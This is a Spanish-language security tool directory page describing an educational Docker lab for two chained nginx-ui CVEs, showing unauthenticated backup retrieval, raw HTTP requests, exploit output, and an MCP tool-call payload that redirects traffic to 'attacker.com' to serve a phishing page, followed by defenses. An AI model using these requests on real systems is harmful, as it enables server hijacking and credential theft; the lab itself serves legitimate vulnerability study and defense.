Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/shreda/cve-2026-33032-nginx-ui-vuln-lab
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónRed TeamingLabs y Práctica
GitHubshreda/cve-2026-33032-nginx-ui-vuln-lab

CVE-2026-33032-nginx-ui-vuln-lab

Docker Compose setup para demostrar la vulnerabilidad de autenticación faltante en nginx-ui

Ver Repositorio
1hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-27944 + CVE-2026-33032 — Laboratorio RCE sin Credenciales en nginx-ui

Aviso legal: Este repositorio está destinado únicamente a fines educativos y de investigación de seguridad autorizada. Todas las técnicas demostradas aquí solo deben utilizarse contra sistemas que poseas o para los que tengas permiso explícito por escrito. Los autores no aceptan ninguna responsabilidad por el mal uso. No ejecutes esto contra ningún sistema sin autorización.

Un laboratorio autónomo con Docker Compose que demuestra una cadena de dos CVEs contra nginx-ui v2.3.1 que logra la toma completa de nginx con cero conocimiento previo — sin nombres de usuario, sin contraseñas, sin tokens.


Cadena de Vulnerabilidades

CVE-2026-27944 — Endpoint de Backup sin Autenticación + Divulgación de Clave

GET /api/backup no requiere autenticación. El endpoint devuelve una copia de seguridad cifrada completa de la instalación de nginx-ui — incluyendo app.ini — y envía la clave de descifrado AES-256-CBC y el IV en texto plano en la cabecera de la respuesta:

root@kitploit:~
X-Backup-Security: <base64_key>:<base64_iv>

Del código fuente (api/backup/router.go):

root@kitploit:~
r.GET("/backup", CreateBackup)   // ❌ sin middleware
r.POST("/restore", middleware.EncryptedForm(), RestoreBackup)

Descifrar la copia de seguridad produce app.ini, que contiene el [node] Secret necesario para el Paso 2.

CVECVE-2026-27944 (GHSA-g9w5-qffc-6762)
CVSS9.8 Crítico
Afectanginx-ui < 2.3.2
Corregido ennginx-ui 2.3.3

CVE-2026-33032 "MCPwn" — Manejador de Mensajes MCP sin Autenticación

nginx-ui v2.3.x añadió una interfaz de Protocolo de Contexto de Modelo (MCP) que expone 12 herramientas de gestión de nginx. El fallo es una única llamada de middleware ausente en mcp/router.go:

root@kitploit:~
r.Any("/mcp",         middleware.IPWhiteList(), middleware.AuthRequired(), ...)
r.Any("/mcp_message", middleware.IPWhiteList(), ...)   // ❌ FALTA AuthRequired()

Con un sessionId obtenido mediante el secreto de nodo, un atacante puede hacer POST a /mcp_message sin credenciales de usuario e invocar cualquier herramienta privilegiada — incluyendo nginx_config_modify y reload_nginx.

CVECVE-2026-33032
AliasMCPwn (Pluto Security)
CVSS9.8 Crítico
Afectanginx-ui ≤ 2.3.3
Corregido ennginx-ui 2.3.4

Arquitectura del Laboratorio

root@kitploit:~
┌──────────────────────────────────────────────────────────┐
│  Navegador                                                │
│  http://localhost:8080  ──►  nginx_ui (:80)              │
│                                    │                     │
│  Atacante                          ▼                     │
│  http://localhost:9000  ──►  nginx_ui (:9000) VULNERABLE │
│  (sin credenciales)         uozi/nginx-ui:v2.3.1          │
│                                                          │
│              ┌─────────────────────────┐                 │
│              │  webapp (verde)          │  formulario     │
│              │  proxy_pass predeterminado│  de inicio de  │
│              └─────────────────────────┘  sesión legítimo│
│              ┌─────────────────────────┐                 │
│              │  malicious_site (rojo)   │  clon de        │
│              │  proxy_pass tras ataque  │  phishing       │
│              └─────────────────────────┘  recopila creds │
└──────────────────────────────────────────────────────────┘

nginx-ui incluye su propia instancia de nginx. Cuando el exploit llama a reload_nginx mediante MCP, recarga el mismo nginx que sirve tráfico en :8080 — sin necesidad de acceso al host.


Inicio Rápido

Requisitos: Docker + Docker Compose + Python 3.10+

root@kitploit:~
git clone <repo-url>
cd nginx-ui-vuln-lab
docker compose up -d
URL
http://localhost:8080Sitio víctima — verde (legítimo)
http://localhost:9000Panel de administración de nginx-ui

Ejecutar el Exploit

root@kitploit:~
pip install -r exploit/requirements.txt

python3 exploit/exploit.py --url http://localhost:9000

El script encadena ambos CVEs sin credenciales previas:

root@kitploit:~
==============================================================
  CVE-2026-27944 + CVE-2026-33032  —  nginx-ui Zero-Cred RCE
  Objetivo : http://localhost:9000
==============================================================

[*] CVE-2026-27944 — descargando copia de seguridad (sin auth)
[+] Clave AES+IV de la cabecera: kW3pCR7RLawHFVeF...:oTr+K3Bd...
[+] Secreto de nodo extraído: 605f228e-2480-49ec-8dd2-045d8d8a073f

[*] CVE-2026-33032 — abriendo sesión MCP sin autenticación (GET /mcp)
[+] sessionId: ee83906e-ee26-4d65-83f8-91d62b00770a

[*] Reconocimiento — leyendo configuración actual
[+] Actual: proxy_pass http://webapp:80;

[*] Sobrescribiendo default.conf mediante POST /mcp_message (sin auth)
[+] Nuevo:     proxy_pass http://malicious_site:80;

[*] Recargando nginx mediante POST /mcp_message (sin auth)
[+] nginx recargado — la configuración está activa

[!] Ataque completado.
    Las víctimas en http://localhost:8080/ ahora reciben la página de phishing.
    Ver credenciales capturadas: http://localhost:8080/?debug=1

Tras el exploit, http://localhost:8080 cambia de la página legítima verde al clon de phishing rojo — en la misma URL, sin ninguna indicación para la víctima.

Abre http://localhost:8080/?debug=1 para revelar el panel del atacante y ver las credenciales capturadas en tiempo real.

Restablecer

root@kitploit:~
python3 exploit/exploit.py --url http://localhost:9000 --reset

Utiliza la misma cadena de CVEs para restaurar la configuración original y recargar nginx.


Cómo Funciona

Etapa 1 — Extraer el secreto de nodo (CVE-2026-27944)

root@kitploit:~
GET /api/backup HTTP/1.1
Host: target:9000

Respuesta:

root@kitploit:~
HTTP/1.1 200 OK
X-Backup-Security: <base64_key>:<base64_iv>
Content-Type: application/zip

Descifra el zip con la clave/IV proporcionados → extrae app.ini → lee [node] Secret.

Etapa 2 — Secuestrar nginx (CVE-2026-33032)

Petición 1 — Abrir sesión SSE (secreto de nodo, sin autenticación de usuario):

root@kitploit:~
GET /mcp?node_secret=<uuid>

El flujo SSE responde con un sessionId.

Petición 2+ — Invocar herramientas (sin autenticación alguna):

root@kitploit:~
POST /mcp_message?sessionId=<uuid>
Content-Type: application/json

{
  "jsonrpc": "2.0", "id": 1, "method": "tools/call",
  "params": {
    "name": "nginx_config_modify",
    "arguments": {
      "relative_path": "default.conf",
      "content": "server { location / { proxy_pass http://attacker.com; } }",
      "sync_overwrite": false
    }
  }
}

Sin cabecera Authorization. Sin cookie. AuthRequired() simplemente está ausente en la ruta /mcp_message.


Herramientas MCP Disponibles (todas accesibles sin autenticación)

HerramientaImpacto
nginx_config_modifySobrescribir cualquier archivo de configuración
nginx_config_addCrear nuevos archivos de configuración
nginx_config_getLeer cualquier archivo de configuración
nginx_config_listListar todas las configuraciones
nginx_config_enable/disableActivar/desactivar configuraciones de sitios
nginx_config_renameMover/renombrar archivos de configuración
nginx_config_mkdirCrear directorios
nginx_config_historyVer historial de cambios
nginx_config_base_pathRevelar la ruta raíz de configuración
nginx_statusComprobar el estado de nginx
reload_nginxAplicar cambios de configuración en vivo
restart_nginxReinicio completo de nginx

Defensas

  • Parche — actualiza a nginx-ui ≥ 2.3.4
  • Aislamiento de red — nunca expongas nginx-ui a redes no confiables; colócalo detrás de una VPN o cortafuegos
  • Lista blanca de IP — establece un [node] IPWhiteList no vacío en app.ini para restringir el acceso MCP a IPs específicas
  • MFA — habilita la autenticación multifactor en la cuenta de administrador
  • FIM — monitoriza /etc/nginx/conf.d/ con monitorización de integridad de archivos (auditd, Wazuh, etc.)
Descargar herramienta